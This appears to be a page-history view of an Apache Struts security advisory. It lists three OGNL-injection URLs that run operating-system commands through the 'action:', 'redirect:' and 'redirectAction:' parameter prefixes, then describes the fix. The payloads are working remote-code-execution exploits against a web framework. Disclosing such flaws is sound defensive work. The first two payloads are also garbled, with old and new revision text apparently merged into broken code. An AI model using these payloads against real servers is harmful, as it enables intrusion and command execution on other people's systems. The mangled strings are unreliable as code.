Page History

...

1. Command Execution - the example method index 6 may vary on different JVMs

   1. Code Block
      http://host/struts2-blank/example/X.action?action:%25{(%23context.getClass().getClassLoader().loadClass('new+java.lang.ProcessBuilder(new+java.lang.Runtime').getMethods())[6].invoke(null,null).exec('some_os_commands'String[]{'command','goes','here'})).start()}

   2. Code Block
      http://host/struts2-showcase/employee/save.action?redirect:%25{(%23context.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods())[6].invoke(null,null).exec('some_os_commands'new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

   3. Code Block
      http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

Solution

DefaultActionMapper was changed to sanitize "action:"-prefixed information properly. The features involved with "redirect:"/"redirectAction:"-prefixed parameters were completely dropped - see also S2-017.

...